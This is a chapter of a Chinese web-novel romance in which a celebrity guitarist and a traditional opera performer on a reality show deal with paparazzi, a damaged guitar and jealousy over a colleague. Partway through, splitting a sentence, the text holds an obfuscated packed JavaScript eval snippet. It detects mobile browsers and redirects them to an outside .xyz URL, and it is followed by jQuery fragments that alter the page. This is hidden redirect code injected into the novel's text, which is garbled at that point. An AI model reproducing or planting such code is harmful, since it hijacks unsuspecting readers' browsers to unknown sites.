12. 顶流洁癖

作品:《他diss非遗以后「湘圈!哈哈哈」

    两人回到文化小院时,节目组二十来号人挤在不大的院子里,个个噤若寒蝉。


    谁都瞧见了周兴野攥着电吉他回来的模样。琴颈上新磕的白痕刺得人眼慌——这把琴的来历早被扒烂了,是他刚入行时用第一笔奖金定制的,采访里提过多少回,眼尾的骄傲藏都藏不住,说“比兄弟还亲”。


    小光暗自琢磨,除了虞念和蒋旗,在场的人都知道这把琴对他意味着什么。


    蒋旗把车停在民宿附近,步行回来时已过一刻钟。听到门外安保的叙述的来龙去脉。


    他扬着手里两大袋餐盒,故作轻松地喊:“晚上加餐!”


    没人应声。


    他不知所措地看向虞念,对方却冲他比了个噤声手势,唇瓣微动做了个“等下”的口型。蒋旗知趣收声,拎着餐盒走向厨房。


    虞念伸手扯了扯周兴野的衣角,布料下的胳膊硬得像块石头。见他没反应,她索性踮脚凑到他耳边,声音压得低低的,带着点刻意的讨好:“奶油要化了,顶流。”末了把“顶流”两字咬得俏皮点,“再不让薅羊毛,可就真难喝了。”


    周兴野终于松动了。他偏过头,眼里的阴翳散了些,嘴角扯出抹浅淡的笑:“急什么。”随即扬声冲大伙嚷:“冰箱里有茶颜,奶油快化了,还有别的口味,要喝的自己拿。”


    他这一笑,院子里紧绷的气氛骤然一松。工作人员明显松了口气,却还是没人敢先动。


    虞念抬头看他:“你喝什么?我去拿。”


    周兴野垂眸望着她,像是等这句话很久了,朝她挑挑眉梢:“你喝什么,我喝什么。”


    虞念去厨房,见台面上整齐摆着打包盒。先把自己买的炸丸子挑出来,悄悄收进冷冻层。


    再打开冷藏层,挑了两杯桂花弄,奶茶泡沫上撒着金闪闪的桂花碎。递过去时,指尖相触的瞬间,就被周兴野抬指按住了。他手心滚烫,指腹带着练琴磨出的老茧,一股糙劲儿牢牢盖在她手背上。


    感受到周围投来的目光,虞念轻轻挣了挣,手指从他指缝里抽出来。周兴野的手掌僵在半空,眼里刚暖起来的光,咻的一下就灭了。


    虞念举着自己那杯奶茶,冲工作人员笑了笑:“今天这事儿,怕是要麻烦各位临时加点工作量了。”


    目光扫过院子墙角的摄像头,“网上估计少不了瞎剪的,能不能劳驾各位,回去先把原素材发我一份?镜头里的东西,总比瞎掰的实在。”


    说着举起奶茶:“我用这个敬大家一杯,辛苦各位了。”


    “是那代拍嘴里没个把门的,虞老师我们支持你!”小光先站出来表态。


    虞念向来不对工作人员摆脸色,对谁都客客气气,比起周兴野,简直算得上如沐春风。


    等众人捧着奶茶散开,周兴野才哑着嗓子问:“怕了?”


    “怕他们剪得我师傅都当真了。”虞念吸了口奶茶,嘴角沾了点奶沫,“更怕有人借坡下驴。”


    她心里清楚,昨晚请示赵宇能否用收到的打赏款改造剧团舞台时,赵宇这次答应倒挺爽快。只是要求每笔支出都要明细清楚。


    末了赵宇又问她:“湖开剧团那边愿意上节目了,你愿意带带吗?”


    他叹着气,语重心长:“手心手背都是肉啊。”


    虞念当时就笑了:“赵哥,手心手背都是肉,可每次砍预算,先砍的都是星城花鼓戏剧团。”


    现在冷静下来,她才意识到今天确实失态了,差点忘了自己代表的从来不只是个人。


    如果有人借题发挥,要求换个“德艺双馨”的人来顶替她


    那她就只能借舆论的东风,让自己乘风破浪。


    小光拿着菜单挨个订盒饭时,虞念正站在院角的垃圾桶边,手上是空了的奶茶杯。


    想着赵宇的话,不自觉把纸杯捏扁,弯腰丢进垃圾桶。发出轻微声响,小光正好走到她身边,她直起身应了句:“少订一份盒饭,我不用。别浪费了”


    靠在墙角随意拨弄电吉他的周兴野,低哑的琴弦声戛然而止。他慢悠悠对正在翻纸巾的小光说:“孩子在家不吃饭,多半是在外面吃饱了。”


    虞念指尖捏着小光递过来的纸巾擦嘴:“嗯,下午吃多了,不饿。”


    “是哦,”周兴野拖长了调子,背着电吉他走到院子中央,背着虞念说,“有人陪着看师傅,还去吃了小吃。谢谢你们还记得给我们打包。”


    这话落得轻巧,却让正围过来的工作人员都顿住了脚。下午虞念和蒋旗同出同回的事,无人不知。周兴野这阴阳怪气,谁都听出了门道。


    没过多久盒饭就被老板推着车送来了。


    蒋旗从厨房端出好几个打包盒,放在圆桌上。揭开盖子,一股卤水的香味涌出来:“来来来,加点菜,酱牛肉,还有热好的酸辣汤,热乎着呢!”


    蒋旗刚说完,周兴野坐在凳子上,二郎腿跷得老高,眼神不屑:“我有洁癖,不爱吃别人碰过的东西。”


    这话像根针,刺得众人如坐针毡。满桌美食,动也不是,不动也不是,谁都不知如何是好。小光更是内心狂骂“你抢虞老师哨片的时候可看不出有洁癖?”


    蒋旗脸上的笑僵了僵,虞念见状,挑了快肥瘦相间的酱牛肉,用干净的筷子夹着,径直走到周兴野面前。


    她把牛肉递过去,牛肉在筷子尖轻轻舞动,语气平平:“没人碰过,洁癖能吃吗?”


    周兴野抬眼望她,不但没接,反而偏过头看墙角的摄像头,声音不大不小刚好能被录进去:“老子就不吃。”


    见他不接,虞念手一顿,随即把筷子对准字自己,牛肉落进了自己嘴里,牛肉的咸香在嘴里散开。她边嚼边说“行,那顶流您饿着吧。”她转身冲众人扬声,“大家快吃,凉了就不好吃了!”说完她将筷子扔进垃圾桶,转背回了房。


    工作人员们见虞念开了头,这才动筷子。周兴野独自坐在椅子上,没人再劝。他盯着虞念回卧室的背影,指节在膝盖上敲了敲,不知在跟谁怄气。手机在他口袋里嗡声震动起来。


    ——


    录音棚的老陈,把虞念和蒋旗的照片发到潜伏的代拍群里。他没指望这东西能掀起波澜,两人全程客客气气,连肢体接触都没有。他只是为了巩固代拍身份,免得引起怀疑被踢出群。


    作为周兴野的经纪人,他混这群的首要任务,是盯着那些可能炸锅的料。


    比如周兴野练琴时心情不好脱口而出的几句脏话,录节目累到在沙发上眼神空洞、面无表情的死相。老陈都会第一时间私聊卖家,买断,这些东西在粉丝眼里是“真实”,到了对家手里,就能被剪成“耍大牌”“不敬业”的实锤。


    前阵子有代拍蹲到周兴野在后台跟编曲吵架,摔了乐谱架,老陈连夜花三倍价截胡了视频,至今锁在办公室的硬盘里。


    偶尔他也会顺手帮衬圈里相熟的团队,去年有个小花被代拍追着拍到了裙底,经纪人急得打了十几个电话,老陈没多要好处,只让对方后续帮周兴野的新歌在微博宣传了一波,转头就给小花公司“泄了点风”,让那代拍被安保逮了个正着。不知不觉间,竟也为周兴野攒了点人脉。


    他混内娱有些年头了。代拍这事儿,说破大天也就是灰色地带,内娱艺人大多睁只眼闭只眼——毕竟流量时代,谁还没靠几张生图博过眼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16327100|183274||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    球?


    可最怕的就是得寸进尺的,要么专拍艺人隐私部位,要么就搞言语刺激,逼得艺人动手,等着公司或对家买断。他打心里瞧不起这种专搞腌臜事的代拍。


    外卖盒刚揭开,筷子刚沾上油光,群里却突然炸了。有人甩截图,说虞念砸代拍的视频被匿名买家开五位数收了,咬死要未打码原片。老陈正吃着炸酱面,面条差点滋溜进气管里。


    “疯了——”那段视频他下午就盯着呢,群里有人直播,镜头从上往下怼,把虞念提着卫生巾的袋子拍得一清二楚,还尽说些卑鄙下贱的话。虞念一个传统艺人,哪听得这个。


    周兴野护过去时,吉他柄撞在镜头上的闷响,隔着屏幕都听得见。


    他拿袖子抹了把嘴,扔了筷子,指尖飞快敲击手机屏,点开私信问哪位买家这么有实力,要不要蒋旗和虞念那几张也收了去。对方只回了个“雨你无瓜”的表情包。


    他转背就把潜伏来的情报发给了周兴野。


    周兴野只回了句“晚点录音棚见”。


    虞念回了房,第一眼就看到被玻璃杯压着的戏谱,以及挨着床头站得笔直的行李箱。


    周兴野下午的维护她记在心里,对待戏谱的珍重又被收入眼底。顶流这脾气好像也没那么臭?


    院子里的人渐渐散去,小光弯腰收拾着各处的垃圾袋,拎起其中一个时心里直嘀咕:“这一看就是虞老师的,绳结系得这么齐整。”他随手抄起旁边那个鼓囊囊的,一拎差点散了架,顿时没好气地嘟囔:“这小子,垃圾袋满成这样都不道系紧,这要是撒了一地,不还是我来收拾!”


    话音刚落,抬头正撞见端着水杯进来的虞念。小光嘴里的话猛地噎住,指了指手里两个对比鲜明的袋子,尴尬地笑了笑:“虞老师,您跟周兴野真是扔垃圾都扔不到一块去。”


    虞念低头抿了口温水,扯了个笑,声音疲惫。她微微垂着眼,“这几天我房里的垃圾袋,我自己来扔吧。”整个人都透着股电量快耗尽的感觉。


    小光连连点头,周兴野要是能有一半的觉悟就好了,等院里人都走光,虞念才转身拉开冰箱冷冻层。下午藏进去的干炸丸子还在,油光裹着一粒粒白砂糖般的小冰碴,看得出丝毫没动过。


    她拿了只干净瓷碗装着,放进微波炉,定了两分钟。


    “叮”的一声响时,周兴野正坐在沙发上,用记号笔顺着琴颈上的白痕描成一道闪电,嘴里念念有词:“劈死那些下三滥玩意。”听见动静,他没抬头,低下头装作没看见。


    虞念端着碗走过去,丸子的油香混着热气飘过来。她把碗往他手边一放,瓷碗磕在茶几玻璃上,当一声响:“刚从冷冻层拿的,我单点打包的。”


    周兴野的动作顿住了。黑色记号笔还捏在手里,他垂眸盯着碗里的丸子,表皮被加热得微微鼓起,金黄金黄的,但他知道微波炉加热后湿气太重,已经不脆了,是老师傅见了会摇头拒绝程度。


    “洁癖要是还没好,”虞念往后退了半步,靠在墙上看他,“就当我没拿。”


    空气静了几秒,周兴野终于放下油性笔,抬手捏起一只丸子。刚咬下去,软趴趴的外壳里裹着的热气就烫了舌尖,他却没松口,慢慢嚼着,含糊不清地说:“算你还有点良心。”


    虞念看着他把一碗丸子吃得干干净净,连碗底的碎屑都用指尖蘸着吃了,才转身要走,手腕却被他攥住了。


    “以后……”他声音有点闷,“别跟蒋旗走那么近。”


    “怎么,周顶流还管这个?”虞念偏不看他。


    他惩罚似的手劲紧了紧,口是心非地说:“这是我作为弟弟的建议。”